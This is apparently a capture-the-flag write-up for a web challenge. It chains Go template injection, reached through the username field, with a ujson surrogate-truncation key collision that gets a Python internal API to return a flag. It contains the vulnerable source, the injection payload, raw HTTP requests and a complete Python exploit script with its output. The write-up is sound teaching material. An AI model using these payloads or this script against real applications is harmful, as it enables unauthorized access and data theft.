VoidProtocol CTF Writeup
Challenge: SSTI In GO and JSON Parsing Discrepancies Category: Web Exploitation Flag:
ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}
Table of Contents
Challenge Overview
This challenge presents a multi-service architecture with a Go web application fronting a Python internal API. The flag is stored in the Python service and requires bypassing multiple security controls.
Architecture
The system consists of:
- Go Web App (Port 8077) — externally accessible
- Python API (Port 5000) — internal only, holds the FLAG
docker-compose.yml
version: '3.8'
services:
web:
image: voidprotocol-web:latest
environment:
INTERNAL_API_URL: http://internal-api:5000
FLAG: ZiChamp{FLAG_HERE}
ports:
- "17000:8077"
networks:
- void-net
internal-api:
image: voidprotocol-api:latest
environment:
FLAG: ZiChamp{FLAG_HERE}
networks:
- void-net
networks:
void-net:
driver: overlay
The Python internal API is not exposed externally. We must find a way to make the Go app call it on our behalf.
Source Code Analysis
Go Application Structure
go-app/
├── main.go # Routes and middleware
├── auth.go # Login/Register handlers
├── index.go # Main page - SSTI VULNERABILITY HERE
├── profile.go # Profile update
├── transmit.go # Message creation
├── users.go # User model + QueryInternalAPI
├── sessions.go # Session management + Admin user
└── templates/ # HTML templates
Main Entry Point - main.go
package main
import (
"net/http"
"github.com/labstack/echo/v4"
)
func main() {
e := echo.New()
e.Use(doSessionStuff)
e.GET("/register", register)
e.POST("/register", register)
e.GET("/login", login)
e.POST("/login", login)
e.GET("/transmit", transmit)
e.POST("/transmit", transmit)
e.GET("/profile", profile)
e.POST("/profile", profile)
e.GET("/logout", logout)
e.GET("/classified", classified)
e.GET("/", index)
e.Logger.Fatal(e.Start(":8077"))
}
Session Management - sessions.go
package main
import (
"time"
"github.com/google/uuid"
)
type Session struct {
users []*User // PRIVATE - lowercase, not accessible from templates!
id string
User *User // EXPORTED - current logged-in user
Transmissions []*Transmission // EXPORTED - message history
NbTransmissions int
HasError bool
Error string
HasSuccess bool
Success string
TerminalOutput string
}
type Transmission struct {
Author *User
Subject string
Body string
Timestamp time.Time
}
var sessions = make(map[string]*Session)
func CreateEmptySession() *Session {
// CRITICAL: Creates an admin user for each session!
admin := &User{
isAdmin: true, // Admin privileges!
Username: "SYSTEM",
}
randomPassword := uuid.New().String()
admin.ChangePassword(randomPassword)
id := uuid.New().String()
return &Session{
users: []*User{admin}, // Admin stored in private field
id: id,
User: nil,
Transmissions: []*Transmission{
{
Author: admin, // Admin is the author!
Subject: "VOID PROTOCOL INITIALIZED",
Body: "Welcome to the Void Protocol...",
Timestamp: time.Date(2024, 11, 1, 0, 0, 0, 0, time.UTC),
},
},
NbTransmissions: 1,
}
}
Key observation: While users is private (lowercase), the Transmissions[0].Author points to the same admin user and IS accessible from templates.
User Model - users.go
package main
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"strings"
)
type User struct {
isAdmin bool // Private - controls API access
Username string
Password string
}
func (u *User) QueryInternalAPI(jsonPayload string) string {
// SECURITY CHECK #1: Only admins can call this
if !u.isAdmin {
return "ERROR: Access denied - administrator privileges required"
}
// Parse the JSON to validate it
var requestData map[string]interface{}
if err := json.Unmarshal([]byte(jsonPayload), &requestData); err != nil {
return fmt.Sprintf("ERROR: Invalid JSON format - %s", err.Error())
}
// SECURITY CHECK #2: Block admin role requests
if role, exists := requestData["role"]; exists {
roleStr, ok := role.(string)
if ok {
if strings.ToLower(roleStr) == "admin" {
return "ERROR: Access denied - admin role requests are blocked"
}
}
}
// Forward to internal API
internalURL := os.Getenv("INTERNAL_API_URL")
if internalURL == "" {
internalURL = "http://internal-api:5000"
}
resp, err := http.Post(
internalURL+"/api/v1/authorize",
"application/json",
bytes.NewBufferString(jsonPayload), // Raw payload forwarded!
)
if err != nil {
return fmt.Sprintf("ERROR: Internal service unavailable - %s", err.Error())
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return string(body)
}
The Go app parses JSON for validation but forwards the raw payload to Python. If the parsers interpret the JSON differently, we can bypass the check.
The SSTI Vulnerability - index.go
package main
import (
"bytes"
"fmt"
"html/template"
"math/rand"
"github.com/labstack/echo/v4"
)
var terminalPrompts = []string{
"VOID://TERMINAL > Welcome, %s | Active transmissions: %d",
"[%s@void-protocol] ~/secure $ echo 'Transmissions: %d'",
"root@void-nexus:/# USER=%s TRANSMISSIONS=%d",
"SYSTEM: Agent %s authenticated | Pending messages: %d",
}
func index(c echo.Context) error {
s := c.Get("session").(*Session)
templatePath := "templates/index.html"
indexTemplate := template.Must(template.ParseFiles(templatePath))
if s.User == nil {
return c.Redirect(302, "/login")
}
// VULNERABILITY: Username is interpolated into template string!
chosenPrompt := fmt.Sprintf(
terminalPrompts[rand.Intn(len(terminalPrompts))],
s.User.Username, // User-controlled input!
s.NbTransmissions,
)
// VULNERABILITY: The string is then PARSED as a new template!
terminalTemplate := template.Must(
indexTemplate.New("terminal").Parse(chosenPrompt)
)
var buf bytes.Buffer
if err := terminalTemplate.Execute(&buf, s); err != nil {
fmt.Println("Error executing template:", err)
return indexTemplate.Execute(c.Response().Writer, s)
}
s.TerminalOutput = buf.String()
return indexTemplate.Execute(c.Response().Writer, s)
}
The Bug: If username contains {{...}}, it becomes part of the template and gets executed!
Python Internal API - app.py
#!/usr/bin/env python3
from flask import Flask, request, jsonify
import ujson # Uses ujson, not standard json!
import os
app = Flask(__name__)
FLAG = os.environ.get('FLAG', 'ZiChamp{test_flag}')
@app.route('/api/v1/authorize', methods=['POST'])
def authorize():
try:
raw_data = request.data.decode('utf-8')
data = ujson.loads(raw_data) # ujson parser!
role = data.get('role', 'guest')
action = data.get('action', 'read')
# Grant flag if admin + access_classified
if role == 'admin' and action == 'access_classified':
return jsonify({
'status': 'granted',
'message': 'Access to classified data granted',
'classified_data': FLAG # FLAG RETURNED HERE!
})
elif role == 'admin':
return jsonify({
'status': 'granted',
'message': 'Admin access granted',
'data': 'Welcome, administrator.'
})
else:
return jsonify({
'status': 'denied',
'message': f'Insufficient privileges for role: {role}'
})
except Exception as e:
return jsonify({
'status': 'error',
'message': 'Invalid request format'
}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
Vulnerability Deep Dive
Vulnerability #1: SSTI in Go Templates
Location: index.go lines 29-30
Root Cause: User-controlled Username is passed to fmt.Sprintf, then the result is parsed as a Go template.
Proof of Concept:
Username: {{.User.Username}}
Result: Template executes and outputs the username again
Template Context: The template executes with the Session struct as data, giving access to:
.User- Current user (our injected user, not admin).Transmissions- Array of messages.NbTransmissions- Count.TerminalOutput- Output buffer
Vulnerability #2: Admin Access via Transmission Author
Problem: We need to call QueryInternalAPI() but it requires isAdmin: true.
Solution Path:
Session.users[0] -- Private field, not accessible
Session.Transmissions[0].Author -- Points to admin, IS accessible!
Template Payload:
{{(index .Transmissions 0).Author.QueryInternalAPI `{...}`}}
This accesses the SYSTEM admin user through the transmission author reference.
Vulnerability #3: ujson Unicode Surrogate Truncation
The Security Check (Go):
if strings.ToLower(roleStr) == "admin" {
return "ERROR: Access denied - admin role requests are blocked"
}
The Target (Python):
if role == 'admin' and action == 'access_classified':
return jsonify({'classified_data': FLAG})
The Bypass: Python’s ujson truncates unpaired UTF-16 surrogates (like \ud888), causing key collisions.
| Parser | Key 1 | Key 2 | Final role Value |
|---|---|---|---|
Go encoding/json |
role = “user” |
role\ud888 = “admin” |
“user” (checks this) |
Python ujson |
role = “user” |
role = “admin” (truncated) |
“admin” (last wins) |
Exploitation
Step 1: Craft the SSTI Payload
{{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}
Breakdown:
(index .Transmissions 0)- Get first transmission.Author- Get the SYSTEM admin user.QueryInternalAPI- Call the privileged method- Backticks for raw string (preserves
\ud888as-is)
Step 2: Register with Malicious Username
POST /register HTTP/1.1
Host: web4.0ffers.net
Content-Type: application/x-www-form-urlencoded
username={{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}&password=pwned123
Step 3: Login
POST /login HTTP/1.1
Host: web4.0ffers.net
Content-Type: application/x-www-form-urlencoded
username={{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}&password=pwned123
Step 4: Trigger SSTI
GET / HTTP/1.1
Host: web4.0ffers.net
Cookie: session=<session_id>
Complete Exploit Script
#!/usr/bin/env python3
"""
VoidProtocol CTF Exploit
Combines SSTI + ujson Unicode Surrogate Truncation Attack
"""
import requests
import re
def exploit(target_url):
target_url = target_url.rstrip('/')
session = requests.Session()
# SSTI payload with Unicode surrogate truncation bypass
# \ud888 is an unpaired UTF-16 surrogate that ujson truncates
ssti_username = '{{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\\ud888":"admin","action":"access_classified"}`}}'
password = "pwned123"
print(f"[*] Target: {target_url}")
print(f"[*] Payload: {ssti_username[:50]}...")
# Step 1: Register
print("\n[+] Registering malicious user...")
r1 = session.post(f"{target_url}/register", data={
"username": ssti_username,
"password": password
})
print(f" Status: {r1.status_code}")
# Step 2: Login
print("[+] Logging in...")
r2 = session.post(f"{target_url}/login", data={
"username": ssti_username,
"password": password
})
print(f" Status: {r2.status_code}")
# Step 3: Trigger SSTI
print("[+] Triggering SSTI on index page...")
r3 = session.get(f"{target_url}/")
# Extract flag
flags = re.findall(r'ZiChamp\{[^}]+\}', r3.text)
if flags:
print(f"\n{'='*50}")
print(f"[!] FLAG: {flags[0]}")
print(f"{'='*50}")
else:
# Debug output
print("\n[-] Flag not found. Response excerpt:")
print(r3.text[:500])
return flags[0] if flags else None
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "https://web4.0ffers.net"
exploit(target)
Flag Capture
Execution
$ python exploit.py https://web4.0ffers.net
[*] Target: https://web4.0ffers.net
[*] Payload: {{(index .Transmissions 0).Author.QueryInternalA...
[+] Registering malicious user...
Status: 302
[+] Logging in...
Status: 302
[+] Triggering SSTI on index page...
==================================================
[!] FLAG: ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}
==================================================
Response Analysis
The flag appears in the terminal output section of the HTML:
<div class="terminal-output">
VOID://TERMINAL > Welcome, {"classified_data":"ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}",
"message":"Access to classified data granted","status":"granted"} | Active transmissions: 1
</div>